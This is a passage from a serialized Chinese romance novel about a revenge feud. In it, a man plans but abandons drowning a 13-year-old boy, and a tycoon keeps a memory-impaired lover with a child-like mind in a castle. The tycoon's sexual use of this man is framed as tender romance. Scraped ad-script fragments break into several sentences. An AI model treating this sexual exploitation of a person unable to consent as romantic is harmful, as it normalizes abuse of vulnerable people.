她生怕傅廷恩跟两个孩子坐在客厅会尴尬,结果完全没有,李乾达已经跟个小大人一样,跟他眼中未来的“姐夫”热络的攀谈起来。 就连十岁的李芷蓝也将目光从电视屏幕上移开,转头看她哥哥和傅廷恩说话。 他们在聊游戏上的事情,这个年龄的孩子即使家教严格,对游戏的兴趣仍然很浓厚。 傅廷恩是过来人,对各大游戏平台推出的新款游戏都很熟悉,话题一直持续到吃饭。 饭桌上,傅廷恩没有向王萱荑大献殷勤,也没有针对自己所处的行业夸夸其谈,他言语适当,进食优雅,偶尔赞美一两句主人家准备的美食。 一顿饭吃完,王芝芙对他的印象颇佳,看着李乾达扯着他玩双人对战游戏,两人各执手柄激烈对决,而王萱荑和李芷蓝坐在一边观看。 王芝芙翻出通讯录,拨通了薛婵娟的电话。薛婵娟对于接到她的电话颇感惊讶,两人平时来往不多,对于电话内容更感惊讶,“什么?廷恩在跟萱荑交往?” 但她还是很自然的向着自家小叔子说话,“我们家廷恩人才能力都没得说,就是吧,”她略微踌躇了一下,“从小到大追他的人太多了,他这个年纪也不知道定不定得下心……” 王芝芙懂她的意思,挂了电话,看着客厅里随意盘坐在地毯上的年轻男人。他撸起袖子,正跟李乾达一分高下,脸上挂着灿烂的笑容,侧坐的身影线条流畅,确实是十分的帅气。 萱荑坐在一边,笑容满面的看着他,脸上的神情是显而易见的痴迷。 王芝芙顿时有点忧心忡忡,等送走客人,她将王萱荑拉到房间,“人是不错,婵娟也满口夸赞他,但是他比你小……而且据说追他的人不少……” 王萱荑知道她姑姑的担忧,“廷恩不是随便的人,他对我很好,也很尊重,”她有点羞涩的低下头,“他不是那种喜欢表白自己的人,总是用行动表达善意和关切……” 傅廷恩的确是行动派,他知道王萱荑跟姑姑走得近,取得王芝芙一家的信任后,他开始频繁的登门拜访,几乎每个星期都会来吃一次饭,从不空手,但带的也不是什么贵重礼物,一般都是两个孩子喜欢的东西。 两个孩子就是王芝芙的命根子,孩子们高兴,那比送礼物给她还让她欢喜。 李乾达尤其喜欢这个表姐的男朋友,毫不见外的叫他“廷恩哥”,每次来都要缠着他打游戏。 他只能在澳洲待一个月,“爷爷说这个月底必须回去,我几个堂兄也是一样,”少年有些不高兴,“老宅课程安排得太多了,完不成还要挨训,爷爷的藤条打人可疼。” 他苦着一张脸向傅廷恩抱怨,他的五官偏王芝芙更多点,弯弯的眉眼,中和了属于李景麟的那份凌厉。 傅廷恩伸手摸摸他的头顶,“‘欲戴王冠,必承其重’,你爷爷对你严格要求,自然是因为寄予厚望,你不要想太多,按他说的去做就好。” 他轻拍他的肩膀,“假期就要开心玩,你想玩什么?哥哥陪你。” 李乾达开心的抬眼看着他,“真的吗?我想去冲浪,去年没有去成夏威夷,我估计我水平又退步了。” “夏威夷吗?冲浪倒不必跑那么远。”傅廷恩顺着他的话说。 “爹地在那边有一个海岛,每年妈咪会带我和妹妹去住一个月,爹地偶尔会带我一起冲浪。” 李乾达很少提起他的父亲李景麟,李家的规矩摆在那里,爷爷辈退二线后负责孙辈 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的管教,父亲年富力强,正是为家族做贡献的时候,不会浪费太多时间在子女的教养上。 “哦,”傅廷恩一副了然的样子,“那去年怎么没去呢?” 李乾达一脸不高兴,“爹地生病了。” 生病?傅廷恩心里泛起冷笑,闰成的去世也让他觉得心痛吧?猫哭耗子假慈悲!如果不是他的逼迫,曾闰成怎么可能跳下游轮?李景麟你等着,我会让你更心痛的…… 傅廷恩扯开嘴角,露出一个十分宠溺的笑容,“如果你妈咪同意的话,我可以陪你去冲浪。” “真的吗?廷恩哥你真好!”李乾达欢喜的跳起来,“我跟妈咪去说。” 王芝芙对两个孩子的安全问题一向很重视,即使有傅廷恩和王萱荑相陪,又是圈起来的私人海滩,两个保镖加两个教练仍然是基本操作。 李乾达十三岁,已经掌握了自由冲浪的基本要领,两个教练的作用并不是教他技能,而是一左一右确保他在水里的安全。 但凡冲浪,就不免有被浪拍到水里的时候,但只要及时浮出水面换气,就不会有太大问题。 前两次,傅廷恩都没有找到下手的机会,浪不算大,教练又跟得很紧,他只能佯装炫技的在浪尖跳跃,惹来李乾达和李芷蓝的阵阵掌声:“廷恩哥你好厉害,跟我爹地一样厉害。” 王萱荑一双娇媚的眼眸凝视着傅廷恩的一举一动,傅廷恩赤|裸着上半身,只穿一条沙滩裤,宽肩膀,腹肌明显的腰身,两条长腿踩在冲浪板上。 他戴着墨镜,洁白的牙齿在阳光下闪着光,实在是耀眼,让人不自觉的将目光放在他身上。 第三次,傅廷恩带上了江永安。江永安是很擅长人际关系的,一两个小时就跟两个教练混得很熟了,傅廷恩带着李乾达冲向一波海浪的时候,有个教练起了身,另一个却跟江永安凑在一块抽烟聊天。 傅廷恩领着李乾达迎浪而去,一脸轻松谈笑的江永安,两个脚掌却不自觉的在海水泥沙里攥紧了。 他在听傅廷恩说这个萱荑姑娘姓王的时候,就觉察到了不对劲。可是傅廷恩领着王萱荑到园区来过几次,两人谈笑中夹杂着脉脉温情,的确是预备交往的男女状态。 直到他听到王萱荑问傅廷恩,“乾达让我问你什么时候可以再带他去冲浪?我姑父好少有时间陪他们。他最喜欢你陪他玩,每天都在我姑姑面前念叨。” 王萱荑的姑父是李景麟,李乾达是李景麟的儿子,江永安还有什么不明白的。 江永安很久没有踏足傅廷恩的公寓了,这晚却在半夜偷摸的潜入,其实不能算偷摸,他是正大光明刷指纹进去的,自杀事件之后薛婵娟细心的更换了指纹锁,并录入了他们几个的指纹。 傅廷恩还没有睡,靠在床头抽烟,看见他进去也不惊讶,把烟掐灭了,正色道,“永安,你得帮我,”他在他面前向来直接坦白,“两个教练看得太紧,我没法下手,你帮我拖住一个就行。” 江永安愣愣的看着他,“廷恩,那只是一个十三岁的孩子,他老子作的孽与他无关。” “哼,”傅廷恩一声冷笑,“父债子偿不是天经地义吗?”尽管他极力自持,眼眶仍然泛起了红晕,情绪是显而易见的激动,“李景麟龟缩在欧洲,鬼影子都找不到一个!TMD!” 他暴躁的将床头物品扫落在地上,烟灰缸在地毯上蹦跳着滚落在江永安脚边,“他害死闰成难道就这样算了!” 他抬起一双猩红的眼睛看着江永安,“后果我担着,帮不帮你给句话!” 江永安看着那双眼睛,还有那张脸上的表情,颓然的叹了口气。不管是上刀山还是下油锅,他怎么可能拒绝得了傅廷恩。 74.第 74 章 李景麟在半夜接到王芝芙电话,他这个号码只有家里人才会拨打,而且这个时间点打过来自然是急事。 可铃声吵到沉睡的曾闰成,他不满的嘟囔着,翻了个身。 李景麟先把电话掐掉,安抚的拍了拍,看他再度陷入沉睡,才小心的起身,来到隔壁书房回拨电话。 王芝芙的声音带着哭腔,“景麟,儿子今天差点出事,冲浪被卷到水底,刚好又突然变天,风浪一下子变好大,明明去之前还是好天气,我忘了看天气预报。” 她平时是极为爽利的性格,难得有这样脆弱的时候,抽噎着诉说,“还好萱荑的男朋友,将他救出来,及时人工呼吸又心肺复苏,才算捡回一条命,真的吓死我了。景麟,如果乾达有什么事……”她“呜呜”的哭起来。 “现在什么情况?”李景麟制止她的哭声,他不是不担心,只是习惯了事情已经发生,先问结果。 “没事了,受了点惊吓,攥着廷恩不肯撒手。他刚把他哄睡才走,这次真是多亏了廷恩……”王芝芙絮絮的诉说,“景麟,老爷子如果知道这事……” “廷恩?”李景麟打断她,顿了顿,沉声道,“是那个……傅廷恩?” “对,萱荑的男朋友,乾达很喜欢他,”隔着话筒,王芝芙没有觉察到他情绪的变化,“你也见过的吧?他是婵娟的小叔子。就是我们上回一块去参加订婚典礼的薛家……” 李景麟愣了片刻,才低声制止她的絮叨,“芝芙,你听我说,”他的声音带着不容抗拒的命令口吻,“你尽快送乾达回老宅,不要再让这个傅廷恩接近他半步。老爷子那里我会去交待。” “还有萱荑那里,什么男朋友?”李景麟冷笑,“哼,被利用了都不知道,你劝她撒手,劝不动就算了,这事过后她自然清楚。”他完全忽略了在澳洲的王家,他私下跟傅家的恩怨自然不可能跟名义上的妻子交待清楚。没想到傅廷恩会钻这个空子。 王芝芙在电话中张口结舌,“什,什么意思?” “按我说的做。”李景麟挂了电话,转而拨通了苏秘书号码,“把傅廷恩的电话号码发给我。” 刚回到公寓的傅廷恩,接到了一个来电显示为私人号码的电话,他摊开给江永安看了看,脸庞划过一抹讥诮的笑意,“来了。” 他按下接听键,“李景麟,你总算露面了。” “傅廷恩,你有本事冲我来,”李景麟一向沉稳笃定的声音带上了恼怒,“冲一个十几岁的孩子下手也不嫌丢份!” “哼!”傅廷恩一声冷笑,“我要真冲他下手,你今天听到的就应该是死讯!” “你敢……” “我为什么不敢,你害死我老婆!”傅廷恩怒火满满,“我让你全家陪命都不够!如果不是闰成……” 傅廷恩隔着暗绿的水面,看着李乾达不断挣扎下沉,那抹瘦弱的身影恍惚间变成了曾闰成的模样,他的闰成也是这样挣扎在水下吗?他等不到救援,只能伸着手笔直的沉入水底…… 傅廷恩一个猛子扎过去,将李乾达捞了起来。 筹谋算计,可事到临头他还是做不到,如果闰成知道……如果闰成知道…… “他是你老婆吗?”李景麟的声音满含讥诮,“他是我的人,一直都是。” 他知道傅廷恩不会善罢甘休,但那又怎么样?他只有一抔骨灰,人在他手里,在他怀里,李景麟透过模糊的光团,从书房窗口的位置可以瞥见卧室里沉睡的身影,他放缓了语调,“你想怎么样?” 傅廷恩等的就是这句话,“上次公海你占了先机,咱们再打一次,有种别带保镖,别领着你那群狗腿子,死生各安天命!” 傅廷恩深知财力不是短时间就能追得上的,就算钱足,要买李景麟的命也不是那么简单的事情,只要逼得他露面,就多了一次复仇的机会。 “好,”李景麟果然一口答应下来,“时间地点你定。”将这事在两个人之间解决,不上升到两个家族之间当然是最好的事情。 他虽然不屑于跟一个毛头小子论战,但这事到了这个地步,退让显然已经无法了结。 傅廷恩早有打算,“5月27,恒雅国际的网球场。” 5月27日是曾闰成的生日,而恒雅国际私校是他们缘起的地方。 李景麟挂了电话,回到静谧馨宁的卧室,他轻掀起被子,属于曾闰成的那种清冽温和的气息扑面而来。 据说当你非常的爱一个人,你就在会在他身上闻到一种味道,这种味道很特别,生物学上叫做“费洛蒙”。 背对着他的身影如秀雅的山峦起伏,曾闰成鼻息微微,显然正陷入美梦中,嘴角“嗒嗒”的轻响,孩子一样。 李景麟小心的将他抱进怀里,他柔软的发丝轻触他的下巴,贪婪的轻嗅着属于他的费洛蒙,“闰成,你是我的。” 他无比满足的搂抱着他,却再也睡不着了,思绪飘回那个秋日的晚上…… 其实他等待许久,心情难免有些焦躁,但曾闰成第一次走进勃朗庄园的主卧室,当着他的面将衣服一件件的脱下来,李景麟觉得这份等待实在值得。 他明显的喝了不少酒,从面庞到胸膛都泛着红晕,随着束缚逐一的解除,整个身体都泛着一层淡粉色。 他想起他刚在苏富士拍卖行拍下的那座粉山玉雕,真是同样的色泽和光晕,他十分期待的伸出了手,的确是想象中的柔滑细腻。 如果说一开始他是冲着那张脸和身段下的赌注,那么在入手后,他深感自己赚大了。 那平日里总是扣得严实的衬衫下,竟然有这样一副匀称的骨架、细腻的肌理和柔嫩的肤质。 李景麟是见识过帅哥美女的,也品尝过绝色,有的脸看着是不错,完全的打开,却不免失望。 不像曾闰成,他应该事先有沐浴过,浓密的黑发里带着清爽的香气,颈窝间也充盈着馥郁的芬芳,却不是香水的气味。 他在他打量的目光和游移的双手间战栗颤抖,身体逐渐的绷紧,却没有吱声,只是咬着唇。 他只能将他翻过去,让他的头颈埋入枕堆里,他不能去看他那双鹿一般黑白分明的眼睛,至少此刻不能。 这是他期待已久的美食,不能因为心软而放下刀叉剑戟。 即使李景麟耐心十足,但曾闰成的过分紧张令他很难得趣…… 他从床头柜里拿出……,在手指间涂抹粉色的膏体,低声在他耳旁提醒,“闰成,你放松些,你没有尝过这滋味,但我保证你会喜欢的。” 曾闰成顺从的任他施为,只可惜他没有掌握好用量,也实在高估了……,迷情狂乱的一夜,无数次的……他深感餮足,曾闰成却连嗓子都嘶哑了,眼皮浮肿着,苍白着面颊。 晨光初现,他看着沉睡在臂弯里的青年,看他满身的旖旎痕迹,其实是有些后悔的。这是他的第一次,他实在应该温柔些。 大概是第一次就给曾闰成留下了纵欲的印象,他在床上对他的恐惧简直是无法掩饰…… 那小子大概是比他温柔吧,那做低伏小的样子他是看不上,但也许闰成是喜欢的? 傅薛订婚典礼的那一天,李景麟原本没打算现身,事到临头,却 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 又改了主意。他要亲眼看看,见到他,曾闰成的眼神会不会有一丝波动。 他戴着墨镜,眼神却跟随着那两抹相携离去的身影,他没有带保镖,看似闲逛实则寻觅,却看到了他们在蓝花楹树下的亲热。 同样是躺卧的角度,曾闰成的脸色是他从没见过的温柔和期待。 那一刻,他的胸腔充斥着愤怒和嫉妒,明明是他更早的遇到他,更早的拥有他,却被后来者窃取了专属于他的珍宝…… 他再一次在晨光微熹中,凝视着安静躺在他臂弯里的身影,仍旧是浓黑的眼睫,温润的轮廓,脸上却没有了痛苦和疲惫的神情。 他像孩子一样睡得香甜,花瓣一样的嘴唇微张着,传递着清甜的香气,李景麟忍不住探头过去,用舌尖描摹他的唇形,温柔的舔舐,轻轻的吮吸。 曾闰成终于被他吵醒,他睁开那双桃花眼,是极妩媚的眼型,却盛载着单纯与懵懂。 他愣愣的看着他,似乎不明白他为什么要吵他睡觉,李景麟再度的亲上去,“闰成,”他低声的蛊惑,“说你爱我。” 曾闰成犹有困倦,没有理会他,偏过头,又合上了眼睛。 李景麟没有像往常一样,就此放过。他伸手将他搂得更靠近一些,用脸庞去挨蹭着,用嘴唇去亲吻他的眉眼,一只手伸进他的睡衣里。 这一年多,他着实忍得辛苦。 曾闰成是孩子的精神意识,但身体却属于成年人,很快在他的撩拨下有了情动的反应。 但他不能明白这种身体的变化,他睁开惺忪的睡眼,眼神逐渐下移,“这是什么?”不同的状态,让他认不出来。 李景麟犹豫了一下,…… 李景麟支起身体,躺靠在床头,牵引着他俯身下去…… 他温柔的轻抚着曾闰成黑色的发顶,手指轻捏他的耳垂,他满足的喟叹着,在心底鄙视着自己的下流与龌龊,却又无法抗拒这诱惑…… …… …… …… …… 李景麟伸手帮他擦去,又吻了吻他的唇角。然后温柔的将他推倒,“轮到我了。” 曾闰成没有拒绝,一直看着他动作,却渐渐变了脸色,红晕漫上他的脸庞,眉梢眼角尽是淋漓的水色,他不安的挣扎着,李景麟用双手将他牢牢束缚,然后不断用唇舌安抚着他。 这是他从未为别人做过的,从未。但他就是想和曾闰成分享这件事情,在李景麟心里,这代表着最私|密、最亲近,以及完全的拥有。 “闰成,我爱你。”这三个字始终有魔力,即使曾闰成偶尔躁动不安,但只要李景麟不断在他耳边说这三个字,他就会逐渐的安静下来,并且在肢体语言上给予回应,或是抱着他的脖颈,或是趴在他的肩头,或是双手环着他的腰身。 他最终还是在李景麟的安抚下,臣服于身体的变化和欲望的迸发。 李景麟喘息着,咽下满口的甘甜,将呆怔茫然的曾闰成搂进怀里,低声在他耳边道,“这个也不可以给别人吃知道吗?”停了一瞬,“只有我们两个人的时候才可以。” 曾闰成听话的点头,他们亲密的相拥,李景麟轻抚着他柔软的耳廓,“闰成,说我爱你。” 他昏昏欲睡,懒懒道,“我爱你。” “要加上我的名字。” 曾闰成没有理他,轻合着眼帘似乎已沉入梦乡,李景麟俯身亲吻他的眼睫、轻嘬他的鼻梁,在他不断的催促和哄劝里,终于听到那句梦呓般的低语,“景麟,我爱你……” 李景麟紧紧的搂着他,这一刻的满足抵得过所有的折磨和伤痛。 75.第 75 章 曾闰成脑部受伤以后,跟人交流的能力退化,与动物沟通的能力却明显的增强了。 首先是养在古堡的那群猎犬,曾闰成喜欢满古堡的闲逛,到处挖掘他认为的新鲜事物,李景麟担心猎犬会伤害到他,再三叮嘱服侍的人要避开猎犬的圈栏。 但你越不让他去,他越是感兴趣,厨房想到办法,拿煮熟的骨头和鸡架,让曾闰成去投喂。他兴奋得每天按时按点,蹲厨房给狗狗们等饭。 猎犬通人性,曾闰成喂的次数多了,看他走近就会晃着脑袋摇尾巴。 其次是马,李景麟养了两匹英国纯血马三匹阿拉伯马,都是上好的品种,好马往往脾性烈,除了李景麟和负责饲养的马工,谁靠近都要尥蹶子。 但每次李景麟刷马的时候,曾闰成都会跑过来,好奇的打量,还去抢他手里的棕刷。 李景麟只好另外给他一个,让他站在马腹的位置,又给他方糖、胡萝卜去喂马。 曾闰成对马的兴趣显而易见,他时不时围着马厩转悠,一个苹果他吃一半,给马吃剩下一半,不过五六次功夫,骏马已经允许他贴头说话,用手顺它们的鬃毛。 李景麟都觉得神奇,只能归结于马比较喜欢单纯的人。 曾闰成尤其爱那匹叫“弗兰克”的黑马,它是范高尔的后代,确实高大漂亮,身长180厘米,黑鬃黑尾,除了眉心一点菱形白,连四蹄都是黢黑的。 李景麟带着曾闰成同骑过几次,只是一路小跑,曾闰成已经兴奋得挥手尖叫,黑发在风里飞扬,明亮的眼眸泛着喜悦的光芒。 李景麟心里一动,手把手教他操控缰绳,曾闰成果然听得很认真,而且轻易就能明白他的意思。 不过三五回教练,李景麟就发现曾闰成于骑马一道十分有天赋。 一般新手上马多少有点紧张,背挺得过直,双腿会不自觉夹|紧,上半身会稍稍向前倾。 曾闰成却不同,大概是不觉得惧怕,李景麟只扶他上过两次马,他就会踩着脚蹬翻身而上。脊背直立但上身放松,手掌握住缰绳但手臂放松,小腿夹紧马腹但腰胯放松,自然就有一种掌控的态势。 弗兰克也很喜欢他,它原本是很有几分傲气的,马工靠近它有时候都要挨呲达,但在曾闰成面前就很乖觉,曾闰成坐在它背上,身体稍稍前倾,拍着它的面颊不知道嘟囔了一句什么,双脚微踢马腹,弗兰克鼻孔里喷着热气,扬了扬前蹄,带着曾闰成一阵飞奔。 李景麟唯恐发生意外,翻身上了另一匹棕红色“卢西亚”,紧随其后,却发现确实多虑了,曾闰成将动作要领掌握得很好,跟弗兰克也很有默契,他俊秀的身姿潇洒自如的跨坐在骏马之上,和风不时送来他欢快的笑声。 自此之后,曾闰成是彻底的迷上了骑马这项运动,几乎天天都会去马厩,哪怕下雨下雪骑不了,他也要去马厩待一会,跟马说说话。口袋里随时揣着方糖和手指胡萝卜。 弗兰克原本是李景麟的坐骑,但曾闰成喜欢,他只好忍痛割爱,谁让他更爱马上的那个人呢。 当三月的春风吹暖大地、吹绿马场的时候,曾闰成已经可以跟李景麟并驾齐驱,肆意驰骋。 甚至因为这一项爱好的拓展,他的心智都有一些变化,好像从六七岁的孩子过渡到了十五六岁的少年。 他不再顽童般随意坐卧,也不再对一些芝麻绿豆的小事比如蚂蚁搬家母鸡孵蛋等感兴趣,他的视野明显更开阔,情绪也要更稳定一些。 萨米教授和他团队的心理专家,对这个发展十分满意。“我的推测是正确的,患者如今的状况并不单纯是器质性疾病,也有精神和心理层面的因素,”年逾古稀的老教授颇为感慨,“当时的开颅手术还是有疏忽的地方……其实不该由科尔顿主刀。”科尔顿医生是梅奥团队的领军人物。 梅奥团队和萨米团队的分歧,看样子不止在会诊之后,在手术的过程中就有体现。 有时候权势过于强大也有弊端,请来的都是顶尖专家,各持观点,而且很难被说服,只有实践可以证明。 很显然,萨米团队的治疗方案更适合曾闰成,他在药物和心理专家的干预下,状态一天比一天好,虽然他没有记忆,后天习得的技能也没有完全恢复,但至少越来越像个正常人。 萨米教授认为曾闰成之所以失去记忆是由于脑干缺血导致的,“记忆中枢的位置有血管堵塞或血管痉挛,如果,二次开颅,”他向李景麟提出建议,“我亲自主刀,有七成的把握。” 李景麟停顿半晌,陷入纠结,“你让我考虑一下。”要让他再动一次手术,再受一次痛苦吗?更重要的是,要让他恢复之前的记忆吗? 其实曾闰成目前的状态已经出乎李景麟的意料。他仍保有生来的性格,温和、善良、坚定,但他比之前开朗,更有好奇心,会更直接的表达感情。 而且他对李景麟十分的依赖和黏糊,每次李景麟出门飞柏林,他都会很主动的亲吻他,丝毫不避讳Tina和一干仆从的目光,毕竟李景麟始终没有纠正他,不可以当着别人的面亲嘴这一点。 等李景麟的专机盘旋着落在停机坪,他多半会远远的奔跑过来,大笑着投入他的怀里,“papa我要吃饭”,“papa我要骑马”,“papa我要唱歌”…… 马工是法国人,他的儿子暑假过来看望他,曾闰成听他叫papa,他也跟着学,李景麟纠正他多次也没用,他再也不叫他“景麟”,总是papa这papa那的。 李景麟只能随他去,有时候他从飞机上下来,搂着他,答应着他所有的要求,恶趣味的在他耳边低声说道,“好,但是你晚上要跟papa睡。” 他是曾闰成唯一的玩伴,而且这些活动基本都是他教导、陪伴着他,曾闰成的情感很自然很集中的投射在他身上。 奔龙堡有修建专门的影音室,全套的柏林之声,可以唱歌,也可以看电影。 李景麟从来没有在别人面前开口唱过歌,至少Tina跟随他这么多年,从没听到过。 但是他经常带着曾闰成在影音室盘桓一下午,他不让Tina或者秘书跟随,也不让人进去伺候,厚重木门的隔音效果又实在太好。 Tina有次忍不住问曾闰成,“老板……呃,papa,唱歌好听吗?” “好听啊,”曾闰成很认真的点头,“特别特别好听。” Tina不信他分得出好坏,但她知道他们不止是唱歌,她晚上偷偷打电话跟苏秘书吐槽,“……事后总要有人打扫清理的嘛,而且老板很久没有召过其他人到古堡来……” “这是迟早的事,闰成能接受就好。”苏秘书不觉得惊讶,毕竟以她对李景麟的了解,就曾闰成这么一个的话,那方面算是在走下坡路。 Tina表示老板变化很大,“比之前温柔太多了,可能是……知道要珍惜了。” 她是贴身照顾的人,发现了两人关系的变化,但没有发现曾闰成身上有伤痕,比起之前在柏林,三不五时的青红紫绿,对比很明显。 “而且,老板还挺会玩情趣……”Tina天天呆在古堡里,一颗想要八卦的心实在难以抑制,“花园里的郁金香不是开了嘛,闰成说好漂亮,像星星一样,他要睡在星星里,然后……” 她故意卖关子,苏秘书给面子的追问,“怎样?” “老板空运来一整屋子的郁金香,然后……”她啧啧的坏笑。 她照顾曾闰成这一年多,两人比之前要熟稔不少,她是除李景麟之外,他最信任依赖的人。 何况曾闰成也不是之前那个板正又容易害羞的性格,Tina趁着周围没人的时候,偷偷调侃他,“闰成,睡床上舒服点还是睡花里面舒服点?” 曾闰成完全听不出她的言外之意,“……香香的,可是我的这里好疼,”他摸摸后腰,又指指膝盖,“这里也疼……不好不好……”是说郁金香的花杆膈到他。 Tina脑补了一下场景,有种吃到瓜的窃喜,忍不住跟唯一一个可以分享的苏秘书吐槽,苏秘书提醒她,“你小心点,要让老板知道扣你年终奖。” “放心了,闰成又不会告状。而且,”Tina声音低落下去,“他也听不懂。” 是的,温和睿智的曾闰成已经不见了,取而代之的是现在这个听不懂调侃,称得上懵懂无知的曾闰成。 Tina不知道该怎么形容这种旁观者的心情,他还活着,而且没什么烦恼的活着,看上去是一件挺好的事情。但是之前认识他、了解他的人,看到他如今的样子是一定会心碎难受的。 苏秘书懂她的难受,其实她心里也憋着一股郁卒的情绪,“下个月我会过来一趟,到时候也见见闰成。” 她坐镇金城一年多,一直没什么时间去奔龙堡,内心多少也有点躲避的意思,但金城的事不少,积在一起,总需要当面向李景麟汇报。 而且据柏林分公司的员工透露,他们现在一个月都难得看到几回老板。这个情形令她感到讶异,李景麟是个事业心很强的人,自律自控是刻在骨子里的,即使玩乐放纵也很有度。这么多年,或长或短的情缘也不少,没有哪一段可以凌驾于工作之上。 她不知道,李景麟的确是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 变了,他现在几乎天天陪曾闰成待在古堡。这座他一手打造的城廓,被森林环绕、鲜花簇拥,四季分明,冰霜雨雪都能感受,却有高堂明瓦可以抵挡;美景美食美酒,更重要是爱人在怀,就像一个世外桃源,令人沉沦,只愿长醉不愿醒。 他一直将工作和玩乐平衡得好,如今这种规律却在逐渐的土崩瓦解。他对感情一向没有特别的渴求,李家的教养模式培育出的是一个优秀的继承者,是一个倾重于实现自我价值、为家族创造利益的人。 亲情并不缺,只是上辈于他、他于后辈,都少了那么一点被需要;友情也不少,只是从小到大,能够出现在他身边的人无不与利益挂钩;爱情更不用提,说爱他的人不计其数,只是你无法分辨,他们到底爱你还是爱你手中的金钱背后的权势。 当曾闰成兴奋的箍着他的脖子叫他“papa”,当他们一起纵马驰骋在绿草如茵的马场,当他们在暗夜里分享彼此的身体、吞咽专属的甜蜜,当他在温暖的床头灯光里为他读一个童话故事,而他躺在他的怀里打着哈欠……他所有的感情都集中在了这一个人身上。 他困住他的同时,自己也深陷囹圄。 有一晚的梦境里,他回到了曾闰成跳下游轮的那个夜晚,星月无光,海浪汹涌,他在冰凉的海水里不断的翻找,一次次囚入水中在窒息的边缘停顿,却始终一无所获。空茫、寂静的海面上只有他一个人…… 他在梦中醒来,冷汗潸潸而下。转头将不知何时逃离他臂弯的人捞回怀里,他睡得温软香甜无知无识,李景麟牢牢将他抱紧,这一刻他下定决心,不再给他动二次开颅的手术了。他喃喃低语,“闰成,我的确是个自私的人,就让我们一辈子都这样在一起吧。” 苏秘书到古堡的时候,正是夕阳西下,天边的火烧云燃烧得灿烂热烈,草场深处,两抹身影正纵马归来。 四月的天气犹有微凉,两人都没有戴护具,李景麟只穿了一件骑装黑衬衫,袖子挽起,领口敞开,周身热气腾腾却言笑晏晏。 曾闰成倒是在衬衫外穿了一件马甲,越发显得腰细腿长,黑发浓郁,俊秀的面庞与当初一般无二,甚至更显年轻,单看脸绝对看不出他去年已经过了三十一岁生日。 在他身上停顿的,似不止记忆认知,还有时光。 他自行跳下马,李景麟却还是绕过去扶了他一把。他抬起手,挽着李景麟的脖子亲了他一下。 李景麟回啄了他一口,指了指苏秘书站立的方向。 两人一如热恋中的情侣一般,拖着手走了过来,曾闰成看苏秘书的眼神是完全的陌生,但也没有害怕。 李景麟低头看着他,“闰成,她是苏茜。”苏秘书听到他的声音,便知道Tina为何感叹老板变了,她从未听过李景麟这样柔和的说话,显然心情很好。 曾闰成向她点点头,甩着马鞭径直走开了。 李景麟领着她去书房,她忍不住开口:“闰成的情况比之前好很多。” “是,还是老萨米有办法,”李景麟十分高兴,“他现在除了不记得从前,也没有太大区别。” 苏秘书在心里叹了口气,她和Tina的感触,李景麟显然是没有的,执拗且另有所爱的曾闰成走开了,取而代之的是天真好摆布、更重要是爱他的曾闰成,他有什么理由不高兴呢? 第二天仍然是风和日丽的好天气,苏秘书带来的一大堆文件需要李景麟批复,他只能坐书房,让苏秘书去陪曾闰成骑马。 马工随时候着,但李景麟不放心,他不信任骨子里就散漫随性的法国人,他如果不在,是一定要Tina在一旁看着的,苏秘书接了这个活。 她马术不佳,只起个看护作用。远远看着曾闰成打马归来,在他下马的时候,她原本袖在外套里的手从口袋里伸出,似乎是不经意间,一枚亮闪闪的饰物掉到了地上,掉到了曾闰成脚跟前。 曾闰成果然弯腰捡起,他似乎要递给她,却又收了回去,放在手心,睁大眼睛,反复的打量,脸上出现了疑惑的表情,“这是……你的……这是……我的……” 苏秘书的心揪起来,那是在公海的游轮上,她帮他解开绳索之前,从他耳朵上取下来的。 她看过那摞照片,当然知道这枚耳扣是傅廷恩所赠,在两人之间可能还有一定代表意义,当时为了避免李景麟更大的怒火,她拿走了它。 苏秘书紧紧盯着曾闰成的表情,心跳如擂鼓,她也不知道她为什么要拿出这个,看着曾闰成紧皱的眉头,疑惑的眼神,她突然感到一阵后怕,伸手从他掌心拿走,“是我的,谢谢你,闰成。” 76.第 76 章 “我下个月底会回一趟金城。”李景麟请苏秘书在书房落座后,将他和傅廷恩的约斗告诉了她。 苏秘书大惊失色,“您实在不必答应这种要求。”上次半夜李景麟问她要傅廷恩联系方式,她心里一直悬着这事,但问Tina也不清楚原因。 万万没有想到,两人私下里达成了这种约定。李景麟是什么身价,如果有什么闪失……而只要他不同意,傅廷恩没有办法靠近他半步。 苏秘书对自家老板的实力是清楚的,体力和格斗技巧在这个圈层里绝对算个中翘楚。但傅廷恩也不是个可以低估的角色,再说二十五六的年轻人,体力怎么也强过四十出头的中年人。 何况对方憋着一股失去至爱的怒火,而李景麟却是拥美在怀的满足,首先情绪就不在一个层面上。 猎豹之所以追不上羚羊,前者只为了进食,后者却为了生存。驱动力不同,爆发力当然也不一样。 李景麟显然也明白这一点,他深深叹了口气,良久,吱声道,“算我欠他的,省得他到处找麻烦。” 他心里其实很清楚,他是横刀夺爱的那一个。他曾一张一张的翻看过那摞照片,看到过两人在稀树大草原的晨光里背靠着背,看到过两人在迪拜的海滩手牵着手,也亲眼目睹过两人在蓝花楹树下的缠绵……他们确实相爱。 可是他爱曾闰成。而他拥有改变一个人、一对情侣命运的实力。 在曾闰成跳下游轮的那一刻,他的确被触动了。当他发现他有可能永远的失去这个人,才在刹那间明白了这个人在自己心中的分量。 老天始终眷顾他,他救回了曾闰成,而且曾闰成失去了之前的记忆,就像一张白纸,他可以在上面只书写自己的名字。 给痛失所爱的人一点慰藉,省去日后的诸多麻烦,这点代价他李景麟付得起。 抱着这个心态,李景麟在与傅廷恩的对战中毫无悬念的处于下风。 5月27,恒雅的网球场,早早清场,保镖只确保外人不能进入,进入内场的只有两方人马,傅廷恩带着江永安,李景麟则带着苏茜和徐理。 两年前,是泰拳和自由搏击的较量。这一次是泰拳对泰拳。这两年多的时间,傅廷恩除了工作,多余的精力都用在了打拳上,几乎每一天都会通过重量训练和抗阻训练来增强肌肉的力量和爆发力。 两年前他吃了大亏,伤愈后改习泰拳,他本身的速度、力量、耐力、灵活性和协调性都很强,又憋着一股子狠劲,很适合练习泰拳,战斗力已经与练习自由搏击时不可同日而语。 